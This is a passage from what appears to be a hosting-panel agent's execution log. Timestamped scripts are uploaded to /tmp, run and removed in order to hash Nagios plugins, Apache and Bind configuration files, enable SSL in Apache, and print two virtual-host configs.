def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2025-09-04 14:50:13: 

chmod 755 /tmp/pkp729326; /tmp/pkp729326; rm /tmp/pkp729326

2025-09-04 14:50:13: 
(gzipped output)


bin(/usr/local/nagios/libexec/check_ups)= 7fc188439261052a0089a7103b4ca5f0
bin(/usr/local/nagios/libexec/check_nwstat)= cad9eb4c84fade3e778388d1c397ca44
bin(/usr/local/nagios/libexec/check_smtp)= 58f20f1be6fe79ceb18495cdc8af30df
bin(/usr/local/nagios/libexec/check_mrtgtraf)= 60fd670663059fda22ad3c69f060d28e
bin(/usr/local/nagios/libexec/check_apt)= 7d7bd3a78eeb8cb1cbff98658f6a2604
bin(/usr/local/nagios/libexec/check_swap)= f7b40653d50c41423fb55e1ef78fbd03
bin(/usr/local/nagios/libexec/check_real)= 10c4f762260b9188703147d7e2bf808e
bin(/usr/local/nagios/libexec/check_users)= acf263ca6679b08d634fce866a719390
bin(/usr/local/nagios/libexec/check_rpc)= 877c0b3732333358999e1ab17aed7a84
bin(/usr/local/nagios/libexec/check_ntp)= 3f27060ad856c95ba539b4a5e0ca9458
bin(/usr/local/nagios/libexec/check_disk)= dfb1f1e3c3262efcdd11d7bb366e9329
bin(/usr/local/nagios/libexec/check_dig)= 72f7fedb00b83dca84ddbedc6b1a9e65
bin(/usr/local/nagios/libexec/check_ide_smart)= e4282cdf643f611222dea7ed06ba7b1f
bin(/usr/local/nagios/libexec/check_breeze)= 17f1ae418f73ae66c13aedb92b0d7106
bin(/usr/local/nagios/libexec/check_debian_packages)= c962dac5b49c230319a8f132131c5818
bin(/usr/local/nagios/libexec/check_tcp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_printer.php)= e1b42354c26a7ee89ba22b3af8af1578
bin(/usr/local/nagios/libexec/check_ntp_peer)= 1012bb69dbe28a20c47f83cb8502829c
bin(/usr/local/nagios/libexec/check_php.php)= ea35782ed63579f5f868c61f2e762602
bin(/usr/local/nagios/libexec/check_autoupdate.php)= 67b27ce05c96a1d7aeac8c220cd103d5
bin(/usr/local/nagios/libexec/check_sensors)= 93f23897502fce95ac37b42b63f8a121
bin(/usr/local/nagios/libexec/check_ntp_time)= 93818330bf26c2823c1985254019368d
bin(/usr/local/nagios/libexec/check_disk_smb)= 20df89ee7110f042d6119b51b6b47fcc
bin(/usr/local/nagios/libexec/check_file_age)= f9c9e8f272624bac2336c0dc261aa4f1
bin(/usr/local/nagios/libexec/check_overcr)= 31e5b6e8d961a2c25c2cdd4febef9a3d
bin(/usr/local/nagios/libexec/check_by_ssh)= 55b5fda59ebdd27200d63a13133113c2
bin(/usr/local/nagios/libexec/check_nntp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_mailq)= 28bc32f5bed1017ecdb469e69ecb59ac
bin(/usr/local/nagios/libexec/check_ping)= f33d99f6a394c5341f7bb6390e2f44c2
bin(/usr/local/nagios/libexec/check_flexlm)= cef725bcbe5623da973584232b0fb1ea
bin(/usr/local/nagios/libexec/check_time)= 75ff7b75649deaa34ba5a8115e7bc1ea
bin(/usr/local/nagios/libexec/check_mrtg)= 40c6d0f71161c67f491aa11f57715867
bin(/usr/local/nagios/libexec/check_uptime)= 0a77a9f937bfb2ab6607abdd74e62f41
bin(/usr/local/nagios/libexec/check_file_exists)= 499adf459b71d925c1b3a6dbb5955cf9
bin(/usr/local/nagios/libexec/check_ftp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ssl_validity)= eeaee8f9f357138a49640d4f416530ce
bin(/usr/local/nagios/libexec/check_nagios)= cd16ecade3f59c4bedac7c3038b411b9
bin(/usr/local/nagios/libexec/check_udp)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifoperstatus)= a7f0a5a6623cb153cd11cc419088c74b
bin(/usr/local/nagios/libexec/check_log)= 9292b8656dd3ebc9f9cb3f0acdf45cf7
bin(/usr/local/nagios/libexec/check_imap)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_ifstatus)= 13135b7e17d4daf1fa87d7cf2c4e4f22
bin(/usr/local/nagios/libexec/check_icmp)= b0d58b5701f7b86f7738a43f175ede4a
bin(/usr/local/nagios/libexec/check_oracle)= 9c5171e12f0b1fe84b51eff80842fb66
bin(/usr/local/nagios/libexec/check_ssh)= 0dd020c1f83941e7b62063c2a1d2954d
bin(/usr/local/nagios/libexec/check_wave)= 98dd0b7a7884c98ec62701568047e010
bin(/usr/local/nagios/libexec/check_pop)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_cluster)= 08aeb28f2a6b3dceddda1dd90918388a
bin(/usr/local/nagios/libexec/check_load)= 7953042df164e8e47234a955376f77f4
bin(/usr/local/nagios/libexec/check_procs)= 0891055bb921943995cbbd8e9b7218bb
bin(/usr/local/nagios/libexec/check_nt)= 31d152e80f15be7ec2cd7f38fcd17d7a
bin(/usr/local/nagios/libexec/check_ssl_cert.php)= a5e2b217dabfd686330a66f41b0d4d90
bin(/usr/local/nagios/libexec/check_dhcp)= 66b6794ccc1f2702910eb2cf4503ada0
bin(/usr/local/nagios/libexec/check_ircd)= e006b8d46149f00c2e371ebd3176d283
bin(/usr/local/nagios/libexec/check_dns)= 2d442b7cf8b203520555e93b77b009e5
bin(/usr/local/nagios/libexec/check_clamd)= 7a8fdbd3475c45acad68765d9e1a5e7b
bin(/usr/local/nagios/libexec/check_dummy)= 99113a54b487e0c637b003dec276d294
bin(/usr/local/nagios/libexec/check_sensors.php)= 172c8cb7ebe7199e4f589ed2f4d4d46d
bin(/usr/local/nagios/libexec/check_http)= a3764b736da28a6c9d17d07b65887e57


2025-09-04 14:50:13: 

PUT: /tmp/pkp238463

#!/bin/bash

install=
if [ -f "/usr/bin/yum" ]; then
	if [ ! -f "/usr/bin/openssl" ]; then
		install="$install openssl"
	fi
	rpm -qi mod_ssl > /dev/null 2>&1
	retVal=$?
	if [ $retVal -ne 0 ]; then
		install="$install mod_ssl"
	fi
	if [ ! -z $install ]; then
		yum -y install $install
		systemctl restart apache2
		echo status=restarted
	else
		echo status=ok
	fi
elif [ -f "/usr/bin/apt-get" ]; then

	if [ ! -f "/usr/bin/openssl" ]; then
		apt-get update
		apt-get -y install openssl
	fi

	if [ ! -f "/etc/apache2/mods-enabled/ssl.conf" ] ; then
		a2enmod -q ssl
		systemctl restart apache2
	fi
	echo status=ok
fi



2025-09-04 14:50:14: 

chmod 755 /tmp/pkp238463; /tmp/pkp238463; rm /tmp/pkp238463

2025-09-04 14:50:14: 


status=ok


2025-09-04 14:50:14: 

PUT: /tmp/pkp345135

#!/usr/bin/python3
import os, sys, glob, hashlib, re, gzip, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def generate_hash_certificate(content, folder):
    file = content.split("\n")
    for v in file:
        v = v.strip()
        if v != '' and v[0] != '#':
            match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)
            if match is not None:
                filename = match.group(1)
                filename = normalize_path(folder, filename, True)
                generate_hash(filename, folder)

def normalize_path(basepath, relativepath, isFile):
    if relativepath[:1] == '/':
        return relativepath
    if isFile:
        basename = os.path.basename(relativepath)
        relativepath = os.path.dirname(relativepath)
    else:
        basename = ''

    basepath = basepath.split('/')
    relativepath = relativepath.split('/')
    for element in relativepath:
        if element == '..':
            basepath.pop()
        elif element != '.' and element != '':
            basepath.append(element)
    basepath = '/'.join(basepath)
    if basename != '':
        basepath += '/' + basename
    return basepath

def generate_hash(filename, folder):
    if os.path.islink(filename):
        target = os.readlink(filename)
        target = normalize_path(folder, target, True)
        payload = 'link(' + filename + ')= ' + target + "\n"
        gz.write(payload.encode('cp437'))
        return
    content = open(filename).read()
    filehash = hashlib.md5()
    filehash.update(content.encode('cp437'))
    payload = 'MD5(' + filename + ')= ' + filehash.hexdigest() + "\n"
    gz.write(payload.encode('cp437'))
    lower_content = content.lower()
    if lower_content.find('sslcertificatefile') > -1:
        generate_hash_certificate(content, folder)
    return

def scan_folder(folder):
    if os.path.isdir(folder):
        filelist = glob.glob(folder + '/*.conf')
        for filename in filelist:
            generate_hash(filename, folder)
    return

try:
	APACHE_ROOT = '/etc/apache2'
	scan_folder(APACHE_ROOT)
	scan_folder(APACHE_ROOT + '/conf.d')
	scan_folder(APACHE_ROOT + '/conf.modules.d')

	scan_folder(APACHE_ROOT + '/sites-available')
	scan_folder(APACHE_ROOT + '/sites-enabled')
	scan_folder(APACHE_ROOT + '/hosts.d')

finally:
    gz.close()

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-04 14:50:14: 

chmod 755 /tmp/pkp345135; /tmp/pkp345135; rm /tmp/pkp345135

2025-09-04 14:50:14: 
2025-09-04 14:50:14: 

PUT: /tmp/pkp723662

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-available/cityelectric_www_online.conf')
    show_file('/etc/apache2/sites-available/pjy_alive_us.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-09-04 14:50:15: 

chmod 755 /tmp/pkp723662; /tmp/pkp723662; rm /tmp/pkp723662

2025-09-04 14:50:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/cityelectric_www_online.conf	1218

<VirtualHost *:80>
    ServerName	cityelectric.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	cityelectric.online
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt
    DocumentRoot	/var/www/cityelectric_www
    <Directory /var/www/cityelectric_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/cityelectric/www_secure_access.log combined
    ErrorLog	/var/log/apache2/cityelectric/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>





----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-available/pjy_alive_us.conf	470

<VirtualHost *:80>
    ServerName	alive.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_alive
    <Directory /var/www/pjy_alive>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/pjy/alive_access.log combined
    ErrorLog	/var/log/apache2/pjy/alive_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>






(gzipped output)


MD5(/etc/apache2/ports.conf)= e0eadfd8b9250d90d5c3004171eb78f6
MD5(/etc/apache2/apache2.conf)= 354c9e6d2b88a0a3e0548f853840674c
MD5(/etc/apache2/sites-available/000-default.conf)= 45ed6a20d7ff26b62d873585bc1b42ca
MD5(/etc/apache2/sites-available/cityelectric_www_online.conf)= 98a5766b5fedd44b564deeae2b7f4597
MD5(/etc/ssl/certs/58e746b88fcdd674270ef29574194035.crt)= 022cdad52e685522d13d48e47c3c5686
MD5(/etc/apache2/sites-available/pjy_home_us.conf)= b92aff1e8d83db409d859ecc91bbe2ea
MD5(/etc/ssl/certs/1ab41bf0e070e7b006d494c7605f9dcb)= ee811400f23cea4e6e71bc578be6cf8a
MD5(/etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf)= 40743bf141b7da55b55cc9e1aa210026
MD5(/etc/ssl/certs/33c1aca709cdbd6de954e7f75b205eb8.crt)= 24354e5a9e87bc06d7655e410b84a785
MD5(/etc/apache2/sites-available/default-ssl.conf)= 58d23841f0ea37f6c3c1f1c7bda9c6d7
MD5(/etc/ssl/certs/ssl-cert-snakeoil.pem)= ca34edd674c003e68e65b9ddf3a5583b
MD5(/etc/apache2/sites-available/pjy_alive_us.conf)= 93e40f97ed46d5de00a4f6427b0b2743
link(/etc/apache2/sites-enabled/000-default.conf)= /etc/apache2/sites-available/000-default.conf
link(/etc/apache2/sites-enabled/cityelectric_www_online.conf)= /etc/apache2/sites-available/cityelectric_www_online.conf
link(/etc/apache2/sites-enabled/pjy_home_us.conf)= /etc/apache2/sites-available/pjy_home_us.conf
link(/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf)= /etc/apache2/sites-available/hopeinstoughton_cdn4_org.conf
link(/etc/apache2/sites-enabled/pjy_alive_us.conf)= /etc/apache2/sites-available/pjy_alive_us.conf




STDERR:
/tmp/pkp345135:12: SyntaxWarning: invalid escape sequence '\s'
  match = re.search('sslcertificatefile\s+(.*?)$', v, flags=re.IGNORECASE)


2025-09-04 14:50:15: Establishing a connection
2025-09-04 14:50:15: 

PUT: /tmp/pkp593995

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-09-04 14:50:16: 

runuser -l bind -s /bin/bash -c '/tmp/pkp593995; rm /tmp/pkp593995'

2025-09-04 14:50:16: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
